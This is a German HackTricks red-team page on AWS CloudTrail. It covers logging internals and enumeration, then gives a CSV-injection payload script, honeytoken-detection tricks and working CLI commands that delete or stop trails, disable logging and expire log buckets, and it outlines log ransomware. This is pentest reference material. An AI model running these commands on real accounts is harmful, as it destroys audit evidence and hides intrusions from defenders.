AWS - CloudTrail Enum

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

CloudTrail

AWS CloudTrail zeichnet und überwacht Aktivitäten in Ihrer AWS-Umgebung auf. Es erfasst detaillierte Ereignisprotokolle, einschließlich wer was, wann und von wo aus getan hat, für alle Interaktionen mit AWS-Ressourcen. Dies bietet eine Audit-Trail von Änderungen und Aktionen, die bei der Sicherheitsanalyse, der Compliance-Prüfung und der Verfolgung von Ressourcenänderungen helfen. CloudTrail ist unerlässlich, um das Benutzer- und Ressourcenverhalten zu verstehen, Sicherheitspositionen zu verbessern und die Einhaltung gesetzlicher Vorschriften sicherzustellen.

Jedes protokollierte Ereignis enthält:

  • Der Name des aufgerufenen API: eventName

  • Der aufgerufene Dienst: eventSource

  • Die Zeit: eventTime

  • Die IP-Adresse: SourceIPAddress

  • Die Agentenmethode: userAgent. Beispiele:

  • Signing.amazonaws.com - Aus der AWS Management Console

  • console.amazonaws.com - Root-Benutzer des Kontos

  • lambda.amazonaws.com - AWS Lambda

  • Die Anforderungsparameter: requestParameters

  • Die Antwortelemente: responseElements

Ereignisse werden ungefähr alle 5 Minuten in einer JSON-Datei in eine neue Protokolldatei geschrieben, die von CloudTrail aufbewahrt wird und schließlich werden die Protokolldateien ungefähr 15 Minuten später an S3 übermittelt. CloudTrails-Protokolle können über Konten und Regionen hinweg aggregiert werden. CloudTrail ermöglicht die Verwendung der Protokolldateiintegrität, um zu überprüfen, ob Ihre Protokolldateien seit der Übermittlung durch CloudTrail unverändert geblieben sind. Es erstellt einen SHA-256-Hash der Protokolle in einer Digest-Datei. Ein SHA-256-Hash der neuen Protokolle wird jede Stunde erstellt. Beim Erstellen eines Trails ermöglichen die Ereignisauswähler, den Trail zum Protokollieren von: Management-, Daten- oder Einblicke-Ereignissen anzugeben.

Die Protokolle werden in einem S3-Bucket gespeichert. Standardmäßig wird die Serverseitige Verschlüsselung verwendet (SSE-S3), sodass AWS den Inhalt für die Personen entschlüsselt, die darauf zugreifen können, aber für zusätzliche Sicherheit können Sie SSE mit KMS und Ihren eigenen Schlüsseln verwenden.

Die Protokolle werden in einem S3-Bucket mit diesem Namensformat gespeichert:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Wobei der BucketName ist: aws-cloudtrail-logs-<accountid>-<random>

  • Beispiel: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

In jedem Ordner hat jedes Protokoll einen Namen nach diesem Format: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Konvention zur Benennung von Protokolldateien

Darüber hinaus werden Digest-Dateien (zur Überprüfung der Dateiintegrität) im gleichen Bucket enthalten sein:

Protokolle aus mehreren Konten aggregieren

  • Erstellen Sie einen Trail im AWS-Konto, in dem Sie möchten, dass die Protokolldateien zugestellt werden

  • Weisen Sie Berechtigungen für den Ziel-S3-Bucket zu, die den plattformübergreifenden Zugriff für CloudTrail ermöglichen, und erlauben Sie jedem AWS-Konto, das Zugriff benötigt

  • Erstellen Sie in den anderen AWS-Konten einen neuen Trail und wählen Sie aus, den im Schritt 1 erstellten Bucket zu verwenden

Auch wenn Sie alle Protokolle im gleichen S3-Bucket speichern können, können Sie CloudTrail-Protokolle aus mehreren Konten nicht in einem CloudWatch-Protokoll aggregieren, das zu einem einzigen AWS-Konto gehört.

Denken Sie daran, dass ein Konto verschiedene Trails von CloudTrail aktiviert haben kann, die dieselben (oder unterschiedliche) Protokolle in verschiedenen Buckets speichern.

Cloudtrail aus allen Org-Konten in 1

Beim Erstellen eines CloudTrail ist es möglich anzugeben, CloudTrail für alle Konten in der Organisation zu aktivieren und die Protokolle in nur 1 Bucket zu erhalten:

Auf diese Weise können Sie CloudTrail in allen Regionen aller Konten einfach konfigurieren und die Protokolle in 1 Konto zentralisieren (das Sie schützen sollten).

Überprüfung von Protokolldateien

Sie können überprüfen, ob die Protokolle nicht geändert wurden, indem Sie Folgendes ausführen

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Protokolle an CloudWatch senden

CloudTrail kann automatisch Protokolle an CloudWatch senden, damit Sie Warnungen einrichten können, die Sie benachrichtigen, wenn verdächtige Aktivitäten durchgeführt werden. Beachten Sie, dass zur Erlaubnis für CloudTrail, die Protokolle an CloudWatch zu senden, eine Rolle erstellt werden muss, die diese Aktion ermöglicht. Wenn möglich, wird empfohlen, die Standardrolle von AWS für diese Aktionen zu verwenden. Diese Rolle ermöglicht es CloudTrail:

  • CreateLogStream: Dies ermöglicht das Erstellen von CloudWatch-Protokollströmen

  • PutLogEvents: Übermitteln von CloudTrail-Protokollen an CloudWatch-Protokollstrom

Ereignisverlauf

Der CloudTrail-Ereignisverlauf ermöglicht es Ihnen, in einer Tabelle die aufgezeichneten Protokolle zu inspizieren:

Erkenntnisse

CloudTrail Insights analysiert automatisch Schreibverwaltungsereignisse von CloudTrail-Trails und benachrichtigt Sie über ungewöhnliche Aktivitäten. Wenn beispielsweise eine Zunahme von TerminateInstance-Ereignissen vorliegt, die sich von den festgelegten Grundlinien unterscheidet, wird dies als Insight-Ereignis angezeigt. Diese Ereignisse erleichtern das Auffinden und Reagieren auf ungewöhnliche API-Aktivitäten.

Die Erkenntnisse werden im selben Bucket wie die CloudTrail-Protokolle gespeichert unter: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Sicherheit

Integrität der CloudTrail-Protokolldatei

  • Überprüfen, ob Protokolle manipuliert wurden (geändert oder gelöscht)

  • Verwendet Digest-Dateien (erstellt Hash für jede Datei)

    • SHA-256-Hashing

    • SHA-256 mit RSA für die digitale Signierung

    • privater Schlüssel im Besitz von Amazon

  • Es dauert 1 Stunde, um eine Digest-Datei zu erstellen (wird jede Stunde durchgeführt)

Unberechtigten Zugriff stoppen

  • Verwenden von IAM-Richtlinien und S3-Bucket-Richtlinien

    • Sicherheitsteam —> Adminzugriff

    • Prüfer —> Nur-Lesezugriff

  • Verwenden von SSE-S3/SSE-KMS zur Verschlüsselung der Protokolle

Verhindern, dass Protokolldateien gelöscht werden

  • Einschränkung des Löschzugriffs mit IAM- und Bucket-Richtlinien

  • Konfigurieren von S3 MFA-Löschung

  • Validierung mit Protokollvalidierung

Zugriffsberater

Der AWS Access Advisor stützt sich auf die letzten 400 Tage der AWS CloudTrail-Protokolle, um seine Erkenntnisse zu sammeln. CloudTrail erfasst eine Historie der AWS-API-Aufrufe und zugehörigen Ereignisse, die in einem AWS-Konto durchgeführt wurden. Der Zugriffsberater nutzt diese Daten, um anzuzeigen, wann Dienste zuletzt aufgerufen wurden. Durch die Analyse von CloudTrail-Protokollen kann der Zugriffsberater feststellen, auf welche AWS-Dienste ein IAM-Benutzer oder eine Rolle zugegriffen hat und wann dieser Zugriff erfolgt ist. Dies hilft AWS-Administratoren, fundierte Entscheidungen über die Feinabstimmung von Berechtigungen zu treffen, da sie Dienste identifizieren können, die über einen längeren Zeitraum nicht aufgerufen wurden, und möglicherweise aufgrund realer Nutzungsverhaltensmuster übermäßig breite Berechtigungen reduzieren können.

Daher informiert der Zugriffsberater über die Benutzer erteilten unnötigen Berechtigungen, damit der Administrator sie entfernen kann.

Aktionen

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV-Injektion

Es ist möglich, eine CSV-Injektion in CloudTrail durchzuführen, die beliebigen Code ausführt, wenn die Protokolle in CSV exportiert und mit Excel geöffnet werden. Der folgende Code generiert einen Protokolleintrag mit einem schlechten Trail-Namen, der das Payload enthält:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Für weitere Informationen zu CSV-Injections besuchen Sie die Seite:

Für weitere Informationen zu dieser spezifischen Technik besuchen Sie https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Umgehung der Erkennung

HoneyTokens Umgehung

Honeytokens werden erstellt, um den Abfluss sensibler Informationen zu erkennen. Im Falle von AWS handelt es sich um AWS-Schlüssel, deren Verwendung überwacht wird. Wenn etwas eine Aktion mit diesem Schlüssel auslöst, hat jemand diesen Schlüssel gestohlen.

Diese Überwachung erfolgt jedoch über CloudTrail, und es gibt einige AWS-Dienste, die keine Protokolle an CloudTrail senden (siehe die Liste hier). Einige dieser Dienste werden mit einem Fehler antworten, der die ARN der Schlüsselrolle enthält, wenn jemand Unbefugtes (der Honeytoken-Schlüssel) versucht darauf zuzugreifen.

Auf diese Weise kann ein Angreifer die ARN des Schlüssels erhalten, ohne ein Protokoll auszulösen. In der ARN kann der Angreifer die AWS-Kontonummer und den Namen sehen. Es ist einfach, die Kontonummern und Namen der HoneyToken-Unternehmen zu identifizieren, sodass ein Angreifer feststellen kann, ob es sich um einen HoneyToken handelt.

HoneyTokens-Erkennung

Pacu erkennt, ob ein Schlüssel zu Canarytokens, SpaceCrab, SpaceSiren** gehört:**

  • Wenn canarytokens.org im Rollennamen oder die Kontonummer 534261010715 in der Fehlermeldung erscheint.

  • Bei neueren Tests verwenden sie das Konto 717712589309 und haben immer noch die Zeichenfolge canarytokens.com im Namen.

  • Wenn SpaceCrab im Rollennamen in der Fehlermeldung erscheint.

  • SpaceSiren verwendet UUIDs zur Generierung von Benutzernamen: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Wenn der Name wie zufällig generiert aussieht, besteht eine hohe Wahrscheinlichkeit, dass es sich um einen HoneyToken handelt.

Beachten Sie, dass alle öffentlichen APIs, bei denen festgestellt wurde, dass sie keine CloudTrail-Protokolle erstellen, jetzt behoben sind. Möglicherweise müssen Sie also Ihre eigenen finden...

Oder Sie können die Kontonummer aus dem kodierten im Zugriffsschlüssel erhalten, wie hier erklärt und die Kontonummer mit Ihrer Liste der Honeytokens AWS-Konten überprüfen:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Für weitere Informationen siehe die ursprüngliche Forschung.

Zugriff auf Drittanbieterinfrastruktur

Bestimmte AWS-Dienste werden eine Infrastruktur erstellen, wie z.B. Datenbanken oder Kubernetes-Cluster (EKS). Ein Benutzer, der direkt mit diesen Diensten kommuniziert (wie die Kubernetes-API), verwendet nicht die AWS-API, sodass CloudTrail diese Kommunikation nicht sehen kann.

Daher könnte ein Benutzer mit Zugriff auf EKS, der die URL der EKS-API entdeckt hat, lokal einen Token generieren und direkt mit dem API-Dienst kommunizieren, ohne von CloudTrail erkannt zu werden.

Weitere Informationen unter:

pageAWS - EKS Post Exploitation

Ändern der CloudTrail-Konfiguration

Trails löschen

aws cloudtrail delete-trail --name [trail-name]

Trails stoppen

aws cloudtrail stop-logging --name [trail-name]

Deaktivieren Sie das Logging in mehreren Regionen

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Deaktivieren Sie das Protokollieren durch Ereignisauswähler

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

Im ersten Beispiel wird ein einzelner Ereignisauswähler als JSON-Array mit einem einzelnen Objekt bereitgestellt. Das "ReadWriteType": "ReadOnly" gibt an, dass der Ereignisauswähler nur Leseereignisse erfassen soll (so dass CloudTrail-Insights z. B. keine Schreibeereignisse überprüfen werden).

Sie können den Ereignisauswähler entsprechend Ihren spezifischen Anforderungen anpassen.

Protokollierung von Löschvorgängen über S3-Lebenszyklusrichtlinie

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Ändern der Bucket-Konfiguration

  • Löschen des S3-Buckets

  • Ändern der Bucket-Richtlinie, um Schreibvorgänge des CloudTrail-Dienstes zu verweigern

  • Hinzufügen einer Lebenszyklusrichtlinie zum S3-Bucket, um Objekte zu löschen

  • Deaktivieren des KMS-Schlüssels, der zur Verschlüsselung der CloudTrail-Protokolle verwendet wird

Cloudtrail-Ransomware

S3-Ransomware

Sie könnten einen asymmetrischen Schlüssel generieren und CloudTrail die Daten mit diesem Schlüssel verschlüsseln lassen und den privaten Schlüssel löschen, damit der Inhalt von CloudTrail nicht wiederhergestellt werden kann. Dies ist im Grunde genommen eine S3-KMS-Ransomware, die in folgendem Dokument erklärt wird:

pageAWS - S3 Post Exploitation

KMS-Ransomware

Dies ist eine einfachere Möglichkeit, den vorherigen Angriff mit unterschiedlichen Berechtigungsanforderungen durchzuführen:

pageAWS - KMS Post Exploitation

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated